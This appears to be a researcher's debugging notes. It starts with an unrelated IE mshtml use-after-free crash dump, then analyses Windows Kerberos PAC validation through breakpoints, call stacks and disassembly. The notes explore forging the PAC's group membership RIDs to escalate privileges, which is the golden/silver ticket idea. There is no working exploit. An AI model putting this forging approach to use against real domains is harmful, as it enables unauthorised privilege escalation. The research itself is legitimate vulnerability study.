043fd210 6adba12d mshtml!CTreeNode::ComputeFormatsHelper+0x44
043fd220 6adba0ed mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
043fd230 6adba0d4 mshtml!CTreeNode::GetFancyFormatHelper+0xf
043fd240 6ac3b9c4 mshtml!CTreeNode::GetFancyFormat+0x35
043fd24c 6acb15b0 mshtml!ISpanQualifier::GetFancyFormat+0x5a
043fd258 6acb156d mshtml!SRunPointer::IsRelativeSpanEdge+0x3a
043fd260 6acb4c92 mshtml!SRunPointer::IsRelativeSpan+0x14
043fd290 6acb4bfd mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d
043fd2c0 6acb532e mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24c
043fd644 6acb5272 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90
043fd6d4 6acb51a7 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66
043fd7c0 6ac9e4a9 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203
043fd878 6ac9e271 mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7
043fdbf8 6ac57a79 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x352
043fdc9c 6ac57834 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x133
043fe1b8 6ac9d919 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad
043fe638 6ac9d919 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9
043feab8 6ac9e4a9 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9
0:005> !heap -p -a ebx
    address 08a7ffb0 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 83d3e04:          8a7ffb0               4c -          8a7f000             2000
    6d4f8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77594ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77557d96 ntdll!RtlpAllocateHeap+0x000000c4
    775234ca ntdll!RtlAllocateHeap+0x0000023a
    6ac2565b mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141
    6ac2557e mshtml!CHtmRootParseCtx::EndElement+0x000000cb
    6ad17870 mshtml!CHtmTextParseCtx::EndElement+0x0000006e
    6ad170b8 mshtml!CHtmParse::EndElement+0x0000007b
    6ad2a4de mshtml!CHtmParse::CloseContainer+0x000001c1
    6ad292d3 mshtml!CHtmParse::CloseAllContainers+0x00000026
    6ad18864 mshtml!CHtmParse::PrepareContainer+0x0000007f
    6ad18907 mshtml!CHtmParse::ParseBeginTag+0x00000028
    6ad16e93 mshtml!CHtmParse::ParseToken+0x00000082
    6ad175c9 mshtml!CHtmPost::ProcessTokens+0x00000237
    6ad078e8 mshtml!CHtmPost::Exec+0x00000221
    6ad08a99 mshtml!CHtmPost::Run+0x00000015
    6ad089fd mshtml!PostManExecute+0x000001fb
    6ad07c66 mshtml!PostManResume+0x000000f7
    6ad213f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010
    6ad053fc mshtml!CDwnChan::OnMethodCall+0x00000019
    6ada94b2 mshtml!GlobalWndOnMethodCall+0x000000ff
    6ad937f7 mshtml!GlobalWndProc+0x0000010c
    75bc86ef USER32!InternalCallWinProc+0x00000023
    75bc8876 USER32!UserCallWinProcCheckWow+0x0000014b
    75bc89b5 USER32!DispatchMessageWorker+0x0000035e
    75bc8e9c USER32!DispatchMessageW+0x0000000f
    6d8004a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
    6d810446 IEFRAME!LCIETab_ThreadProc+0x000002c1
    763849bd iertutil!CIsoScope::RegisterThread+0x000000ab
    75f71174 kernel32!BaseThreadInitThunk+0x0000000e
    7752b3f5 ntdll!__RtlUserThreadStart+0x00000070
    7752b3c8 ntdll!_RtlUserThreadStart+0x0000001b


0:005> !heap -p -a ecx
    address 08f0ff98 found in
    _DPH_HEAP_ROOT @ 51000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    8f50138:          8f0f000             2000
    6d4f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77595674 ntdll!RtlDebugFreeHeap+0x0000002f
    77557aca ntdll!RtlpFreeHeap+0x0000005d
    77522d68 ntdll!RtlFreeHeap+0x00000142
    75f6f1ac kernel32!HeapFree+0x00000014
    6adf8c42 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028
    6ad97dd0 mshtml!CBase::SubRelease+0x00000022
    6adf0fdf mshtml!CElement::PrivateExitTree+0x00000011
    6acd5b42 mshtml!CMarkup::SpliceTreeInternal+0x00000083
    6acd6ff9 mshtml!CDoc::CutCopyMove+0x000000ca
    6acd6f39 mshtml!CDoc::Remove+0x00000018
    6acd6f17 mshtml!RemoveWithBreakOnEmpty+0x0000003a
    6ac0288a mshtml!CElement::InjectInternal+0x0000032a
    6acd704a mshtml!CElement::InjectCompatBSTR+0x00000046
    6af1aee9 mshtml!CElement::put_outerText+0x00000025
    6ae172d6 mshtml!GS_BSTR+0x000001ac
    6ae0235c mshtml!CBase::ContextInvokeEx+0x000005dc
    6ae0c75a mshtml!CElement::ContextInvokeEx+0x0000009d
    6ae0c79a mshtml!CInput::VersionedInvokeEx+0x0000002d
    6adb3104 mshtml!PlainInvokeEx+0x000000eb
    6cdea22a jscript!IDispatchExInvokeEx2+0x00000104
    6cdea175 jscript!IDispatchExInvokeEx+0x0000006a
    6cdea3f6 jscript!InvokeDispatchEx+0x00000098
    6cdea4a0 jscript!VAR::InvokeByName+0x00000139
    6cdfd8c8 jscript!VAR::InvokeDispName+0x0000007d
    6cde9c0e jscript!CScriptRuntime::Run+0x0000208d
    6cdf5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    6cdf5bfb jscript!ScrFncObj::Call+0x0000008d
    6cdf5e11 jscript!CSession::Execute+0x0000015f
    6cdef3ee jscript!NameTbl::InvokeDef+0x000001b5
    6cdeea2e jscript!NameTbl::InvokeEx+0x0000012c
    6ae27af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
1
Technical Analysis

Troubleshooting kerberos on windows

Golden and silver ticket

About PAC:

MS-PAC: Privilege Attribute Certificate Data Structure
http://msdn.microsoft.com/en-us/library/cc237917.aspx

Microsoft Authorization Data Specification
http://mirror.die.net/banned/microsoft-kerberos-extensions.html

Authentication structures:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa378120(v=vs.85).aspx

More Kerberos fun with PAC’s- decrypt the PAC

http://i1.blogs.msdn.com/b/spatdsg/archive/2009/03/26/more-kerberos-fun-with-pac-s.aspx

Kerberos PAC Validation… what is it?

http://blogs.msdn.com/b/spatdsg/archive/2007/03/07/pac-validation.aspx

Kerberos on windows

https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-whitepaper.pdf
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos

Notes

  • Windows 2003: Security Event ids related to kerberos 540 (logon) / 538 (logoff)
  • I’m pretty sure the information to forge exists inside service kerberos ticket
  • On my opinion the idea is to forge the KERB_VALIDATION_INFO. It contains:
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;

Where:

  typedef struct _GROUP_MEMBERSHIP {
      ULONG RelativeId;
      ULONG Attributes;
  } *PGROUP_MEMBERSHIP;

By modifying the RelativeId in the service ticket, I think is the way related
to the privilege escalation (See ticket_samples.txt for KERB_VALIDATION_INFO dump)

But… how to tamper that information? Since the kerberos communication (server
running on 88/udp) happens through lsass (running as system), tampering communications
doesn’t look a good idea. Even worse, the KERB_VALIDATION_INFO is located inside the
ticket, which travels encrypted. I NEED TO CHECK, CAREFULLY WHERE THE PAC IS ADDED,
HOPEFULLY, IT’S IN A BLOG CIPHERED WITH THE USER PRIVATE KEY. CANNOR REMIND JUST NOW, TODO!

Just remembering cached tickets maybe can be tampered TODO:review

Breakpoints:

bp kdcsvc!I_GetAsTicket ".echo I_GetAsTicket; g"

Reachecd through _KdcGetTicket (also an export)

bp kdcsvc!KdcVerifyPacSignature ".echo KdcVerifyPacSignature; g"

This one is reached from when handling TGT Requests, aparently

HandleTGSRequest –> GetTGSTicket…

bp kdcsvc!KdcVerifyPac ".echo KdcVerifyPac; g"

It’s an export, also reached through “CredentialUpdateFree”

When I authenticate to a service, IIS, through Kerberos, it’s the call sequence:

I_GetAsTicket
KdcVerifyPacSignature
KdcVerifyPacSignature
I_GetAsTicket
KdcVerifyPacSignature

Okay, come on to check, what happens when I add the kerberos function:

kd> bp kerberos!KerbVerifyPacsignature ".echo kerberos!KerbVerifyPacsignature; g"
kd> g
I_GetAsTicket
KdcVerifyPacSignature
kerberos!KerbVerifyPacsignature
I_GetAsTicket
KdcVerifyPacSignature
kerberos!KerbVerifyPacsignature

Makes sense! Come on to check some call stacks to check where things come from:

kd> bl
 0 e 63a8b814     0001 (0001) KDCSVC!I_GetASTicket ".echo I_GetAsTicket; kb 4; g"
 1 e 63a89013     0001 (0001) KDCSVC!KdcVerifyPacSignature ".echo KdcVerifyPacSignature; kb 4; g"
 2 e 63a8d3ad     0001 (0001) KDCSVC!KdcVerifyPac ".echo KdcVerifyPac; kb 4; g"
 3 e 71ca8587     0001 (0001) kerberos!KerbVerifyPacSignature ".echo kerberos!KerbVerifyPacsignature; kb 4; g"

_GetAsTicket

ChildEBP RetAddr  Args to Child
04e4fe38 63a8b80a 050ae688 001583e8 04e4feb0 KDCSVC!I_GetASTicket
04e4fed8 63a87305 00000000 050ae688 001149a8 KDCSVC!KdcGetTicket+0x1b5
04e4ff38 71fd1700 0015b9e0 00000137 00000000 KDCSVC!KdcAtqDgIoCompletion+0x129
04e4ff58 71fd1858 00000137 00000000 0015b9e4 NTDSATQ!ATQ_CONTEXT::IOCompletion+0x31

KdcVerifyPacSignature

ChildEBP RetAddr  Args to Child
04e4f740 63a89f6f 00145238 04e4f91c 00000250 KDCSVC!KdcVerifyPacSignature
04e4f770 63a89543 00145238 000ec8f0 04e4f91c KDCSVC!KdcVerifyAndResignPac+0xb3
04e4f83c 63a87125 04e4f880 04e4fe74 00000000 KDCSVC!KdcInsertAuthorizationData+0x1d6
04e4f99c 63a85055 000ec8f0 04e4fea0 04e4fe98 KDCSVC!I_GetTGSTicket+0x729
kerberos!KerbVerifyPacsignature
ChildEBP RetAddr  Args to Child
00aef7b8 71cb1ef3 00aefa70 0013d8f0 00000250 kerberos!KerbVerifyPacSignature
00aef8fc 71cb1159 00000001 00aefab0 0017c1e8 kerberos!KerbCreateTokenFromTicket+0x1de
00aefaec 4ab860d2 0016cce0 00000000 3c9b6229 kerberos!SpAcceptLsaModeContext+0xb09
00aefb60 4abc94a8 00aefc18 00aefbf8 00aefbe0 LSASRV!WLsaAcceptContext+0x139

I_GetAsTicket

ChildEBP RetAddr  Args to Child
04e4fe38 63a8b80a 050b73b8 001583e8 04e4feb0 KDCSVC!I_GetASTicket
04e4fed8 63a87305 00000000 050b73b8 001149a8 KDCSVC!KdcGetTicket+0x1b5
04e4ff38 71fd1700 0015bc10 00000137 00000000 KDCSVC!KdcAtqDgIoCompletion+0x129
04e4ff58 71fd1858 00000137 00000000 0015bc14 NTDSATQ!ATQ_CONTEXT::IOCompletion+0x31

KdcVerifyPacSignature

ChildEBP RetAddr  Args to Child
04e4f740 63a89f6f 00145418 04e4f91c 00000250 KDCSVC!KdcVerifyPacSignature
04e4f770 63a89543 00145418 000ec8f0 04e4f91c KDCSVC!KdcVerifyAndResignPac+0xb3
04e4f83c 63a87125 04e4f880 04e4fe74 00000000 KDCSVC!KdcInsertAuthorizationData+0x1d6
04e4f99c 63a85055 000ec8f0 04e4fea0 04e4fe98 KDCSVC!I_GetTGSTicket+0x729
kerberos!KerbVerifyPacsignature
ChildEBP RetAddr  Args to Child
00c6f7b8 71cb1ef3 00c6fa70 0013d8f0 00000250 kerberos!KerbVerifyPacSignature
00c6f8fc 71cb1159 00000001 00c6fab0 0017c190 kerberos!KerbCreateTokenFromTicket+0x1de
00c6faec 4ab860d2 0016cce0 00000000 3f4a60da kerberos!SpAcceptLsaModeContext+0xb09
00c6fb60 4abc94a8 00c6fc18 00c6fbf8 00c6fbe0 LSASRV!WLsaAcceptContext+0x139

So, obviously I_GetAsTicket is called through the first query (AS), KdcVerifyPacSignature and
kerberos!KerbVerifyPacsignature is called on the second request (TGT). Looks like the PAC is
parsed/verified in the second query (TGT, makes sense).

[*] Other backtraces for my review while logging in the domain from XP SP3 client

kd> g
Breakpoint 4 hit
kerberos!PAC_UnMarshal:
001b:71d2d109 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child
009cf980 71d17acb 000b8780 00000290 009cfd84 kerberos!PAC_UnMarshal
009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x2ec
009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e
009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d
009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335
009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22
009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46
009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153
009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37
kd> g
Breakpoint 5 hit
kerberos!PAC_ReMarshal:
001b:71d2d188 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child
009cf89c 71d15b25 000b8780 00000290 009cf9cc kerberos!PAC_ReMarshal
009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x185
009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363
009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e
009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d
009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335
009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22
009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46
009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153
009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37
kd> g
Breakpoint 4 hit
kerberos!PAC_UnMarshal:
001b:71d2d109 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child
009cf89c 71d15c04 000b8780 00000290 009cf9cc kerberos!PAC_UnMarshal
009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x264
009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363
009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e
009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d
009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335
009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22
009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46
009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153
009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37
kd> g
Breakpoint 1 hit
kerberos!PAC_UnmarshallValidationInfo:
001b:71d2d466 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child
009cf898 71d15cd6 009cf9f0 000b87c8 000001f0 kerberos!PAC_UnmarshallValidationInfo
009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x336
009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363
009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e
009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d
009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335
009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22
009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46
009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153
009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37
kd> g
Breakpoint 3 hit
kerberos!PAC_DecodeValidationInformation:
001b:71d2cf2e 6a14            push    14h
kd> kb
ChildEBP RetAddr  Args to Child
009cf884 71d2d47d 000b87c8 000001f0 009cf9f0 kerberos!PAC_DecodeValidationInformation
009cf898 71d15cd6 009cf9f0 000b87c8 000001f0 kerberos!PAC_UnmarshallValidationInfo+0x17
009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x336
009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363
009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e
009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d
009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335
009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22
009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46
009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153
009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37
kd> g
Breakpoint 8 hit
kerberos!PPAC_IDL_VALIDATION_INFO_Decode:
001b:71d2d6f5 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child
009cf844 71d2cf7f 000936f0 009cf9f0 000b89c0 kerberos!PPAC_IDL_VALIDATION_INFO_Decode
009cf884 71d2d47d 000b87c8 000001f0 009cf9f0 kerberos!PAC_DecodeValidationInformation+0x51
009cf898 71d15cd6 009cf9f0 000b87c8 000001f0 kerberos!PAC_UnmarshallValidationInfo+0x17
009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x336
009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363
009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e
009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d
009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335
009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22
009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46
009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153
009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37
kd> g

[*] More breakpoints when from XP SP3 client: Looks like there are two paths, to
get the TGT ticket, and to get the service ticket. The last one is the interesting
I think.

kd> kb
ChildEBP RetAddr  Args to Child
0007f4c0 71cfbc26 00103828 000ed248 000c2f48 kerberos!KerbCacheTicket
0007f68c 71cf3611 00101ce0 000f6c30 00000000 kerberos!KerbGetAuthenticationTicket+0xa77
0007f760 71cf33c8 00101ce0 000f6c30 00000000 kerberos!KerbGetTicketGrantingTicket+0x2f4
0007f794 71cf1db1 00000000 000f6c30 00000000 kerberos!KerbGetTicketForCredential+0x5d
0007f7f4 71cf2d85 000f6c30 80000002 00000000 kerberos!KerbReferenceCredential+0x12a
0007f9a8 7573c293 000f6c30 00000000 0007fe80 kerberos!SpInitLsaModeContext+0xae3
0007fa20 7573ca9a 0007fbb0 0007fb90 0007fe80 LSASRV!WLsaInitContext+0x154
0007fc14 7575dedc 00000000 000a5ad8 0007fe80 LSASRV!NegBuildRequestToken+0x53d
0007fc48 7575de92 00108ef0 0007fe80 00000002 LSASRV!NegGenerateInitialToken+0x28
0007fcac 7573c293 00108ef0 00000000 0007fe80 LSASRV!NegInitLsaModeContext+0x3e6
0007fd24 7573c17c 000f9bf8 000f9c00 0007fe80 LSASRV!WLsaInitContext+0x154
0007feac 75739429 000f9bd0 000b5100 000f9ce0 LSASRV!LpcInitContext+0x1a2
0007fec4 7573934d 000f9bd0 757cf738 0009af50 LSASRV!DispatchAPI+0x46
0007ff50 75738ca2 000b5100 0007ff98 7c809c55 LSASRV!LpcHandler+0x153
0007ff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
0007ffb4 7c80b713 000d3758 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
0007ffec 00000000 75738d13 000d3758 00000000 kernel32!BaseThreadStart+0x37
kd> g
Breakpoint 13 hit
kerberos!KerbCacheTicket:
001b:71cf9a79 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child
0007f6ec 71cf9a6f 00103818 000d5240 000c2f48 kerberos!KerbCacheTicket
0007f7cc 71cf722e 00101ce0 000f6c30 00000000 kerberos!KerbGetServiceTicket+0x893
0007f9a8 7573c293 00000002 00000000 0007fe80 kerberos!SpInitLsaModeContext+0xd60
0007fa20 7573ca9a 0007fbb0 0007fb90 0007fe80 LSASRV!WLsaInitContext+0x154
0007fc14 7575dedc 00000000 000a5ad8 0007fe80 LSASRV!NegBuildRequestToken+0x53d
0007fc48 7575de92 00108ef0 0007fe80 00000002 LSASRV!NegGenerateInitialToken+0x28
0007fcac 7573c293 00108ef0 00000000 0007fe80 LSASRV!NegInitLsaModeContext+0x3e6
0007fd24 7573c17c 000f9bf8 000f9c00 0007fe80 LSASRV!WLsaInitContext+0x154
0007feac 75739429 000f9bd0 000b5100 000f9ce0 LSASRV!LpcInitContext+0x1a2
0007fec4 7573934d 000f9bd0 757cf738 0009af50 LSASRV!DispatchAPI+0x46
0007ff50 75738ca2 000b5100 0007ff98 7c809c55 LSASRV!LpcHandler+0x153
0007ff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9
0007ffb4 7c80b713 000d3758 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91
0007ffec 00000000 75738d13 000d3758 00000000 kernel32!BaseThreadStart+0x37
kd> g

Reaching the important point on my case:

kd> uf KDCSVC!KdcVerifyPacSignature
KDCSVC!KdcVerifyPacSignature:
63a89013 8bff            mov     edi,edi
63a89015 55              push    ebp
63a89016 8bec            mov     ebp,esp
63a89018 81eca8000000    sub     esp,0A8h
63a8901e a10010ab63      mov     eax,dword ptr [KDCSVC!__security_cookie (63ab1000)]
63a89023 53              push    ebx
63a89024 56              push    esi
63a89025 8b7514          mov     esi,dword ptr [ebp+14h]
63a89028 8945fc          mov     dword ptr [ebp-4],eax
63a8902b 8b4508          mov     eax,dword ptr [ebp+8]
63a8902e 57              push    edi
63a8902f 8945ac          mov     dword ptr [ebp-54h],eax
63a89032 8b450c          mov     eax,dword ptr [ebp+0Ch]
63a89035 6a0f            push    0Fh
63a89037 33db            xor     ebx,ebx
63a89039 8945a8          mov     dword ptr [ebp-58h],eax
63a8903c 59              pop     ecx
63a8903d ff7510          push    dword ptr [ebp+10h]
63a89040 66899d58ffffff  mov     word ptr [ebp-0A8h],bx
63a89047 33c0            xor     eax,eax
63a89049 8dbd5affffff    lea     edi,[ebp-0A6h]
63a8904f f3ab            rep stos dword ptr es:[edi]
63a89051 56              push    esi
63a89052 8975b0          mov     dword ptr [ebp-50h],esi
63a89055 895dbc          mov     dword ptr [ebp-44h],ebx
63a89058 895db8          mov     dword ptr [ebp-48h],ebx
63a8905b 895db4          mov     dword ptr [ebp-4Ch],ebx
63a8905e 66ab            stos    word ptr es:[edi]
63a89060 e81feeffff      call    KDCSVC!PAC_UnMarshal (63a87e84)
63a89065 85c0            test    eax,eax
63a89067 0f84178d0000    je      KDCSVC!KdcVerifyPacSignature+0x261 (63a91d84)

KDCSVC!KdcVerifyPacSignature+0x5a:
63a8906d 8d8558ffffff    lea     eax,[ebp-0A8h]
63a89073 50              push    eax
63a89074 b92810ab63      mov     ecx,offset KDCSVC!SecData (63ab1028)
63a89079 e8668bffff      call    KDCSVC!CSecurityData::GetKrbtgtTicketInfo (63a81be4)
63a8907e 3bc3            cmp     eax,ebx
63a89080 8945bc          mov     dword ptr [ebp-44h],eax
63a89083 0f856c8c0000    jne     KDCSVC!KdcVerifyPacSignature+0x72 (63a91cf5)

KDCSVC!KdcVerifyPacSignature+0x7d:
63a89089 53              push    ebx
63a8908a 6a06            push    6
63a8908c 56              push    esi
63a8908d e846ecffff      call    KDCSVC!PAC_Find (63a87cd8)
63a89092 8bd8            mov     ebx,eax
63a89094 85db            test    ebx,ebx
63a89096 0f8488010000    je      KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224)

KDCSVC!KdcVerifyPacSignature+0x90:
63a8909c 8b4b04          mov     ecx,dword ptr [ebx+4]
63a8909f 83f904          cmp     ecx,4
63a890a2 0f827c010000    jb      KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224)

KDCSVC!KdcVerifyPacSignature+0x9c:
63a890a8 8b4308          mov     eax,dword ptr [ebx+8]
63a890ab 83c1fc          add     ecx,0FFFFFFFCh
63a890ae 8d5004          lea     edx,[eax+4]
63a890b1 894598          mov     dword ptr [ebp-68h],eax
63a890b4 8bc1            mov     eax,ecx
63a890b6 c1e902          shr     ecx,2
63a890b9 8bf2            mov     esi,edx
63a890bb 8d7de8          lea     edi,[ebp-18h]
63a890be f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
63a890c0 8bc8            mov     ecx,eax
63a890c2 83e103          and     ecx,3
63a890c5 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
63a890c7 8b4b04          mov     ecx,dword ptr [ebx+4]
63a890ca 83e904          sub     ecx,4
63a890cd 8bfa            mov     edi,edx
63a890cf 8bd1            mov     edx,ecx
63a890d1 c1e902          shr     ecx,2
63a890d4 33c0            xor     eax,eax
63a890d6 f3ab            rep stos dword ptr es:[edi]
63a890d8 6a00            push    0
63a890da 8bca            mov     ecx,edx
63a890dc 6a07            push    7
63a890de ff75b0          push    dword ptr [ebp-50h]
63a890e1 83e103          and     ecx,3
63a890e4 f3aa            rep stos byte ptr es:[edi]
63a890e6 e8edebffff      call    KDCSVC!PAC_Find (63a87cd8)
63a890eb 85c0            test    eax,eax
63a890ed 89459c          mov     dword ptr [ebp-64h],eax
63a890f0 0f842e010000    je      KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224)

KDCSVC!KdcVerifyPacSignature+0xea:
63a890f6 8b5004          mov     edx,dword ptr [eax+4]
63a890f9 83fa04          cmp     edx,4
63a890fc 0f8222010000    jb      KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224)

KDCSVC!KdcVerifyPacSignature+0xf6:
63a89102 8b4808          mov     ecx,dword ptr [eax+8]
63a89105 8d7104          lea     esi,[ecx+4]
63a89108 894da0          mov     dword ptr [ebp-60h],ecx
63a8910b 8d4afc          lea     ecx,[edx-4]
63a8910e 8bd1            mov     edx,ecx
63a89110 c1e902          shr     ecx,2
63a89113 ff7510          push    dword ptr [ebp+10h]
63a89116 8975a4          mov     dword ptr [ebp-5Ch],esi
63a89119 ff75b0          push    dword ptr [ebp-50h]
63a8911c 8d7dc0          lea     edi,[ebp-40h]
63a8911f f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
63a89121 8bca            mov     ecx,edx
63a89123 83e103          and     ecx,3
63a89126 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
63a89128 8b4804          mov     ecx,dword ptr [eax+4]
63a8912b 8b7da4          mov     edi,dword ptr [ebp-5Ch]
63a8912e 83e904          sub     ecx,4
63a89131 8bd1            mov     edx,ecx
63a89133 c1e902          shr     ecx,2
63a89136 33c0            xor     eax,eax
63a89138 f3ab            rep stos dword ptr es:[edi]
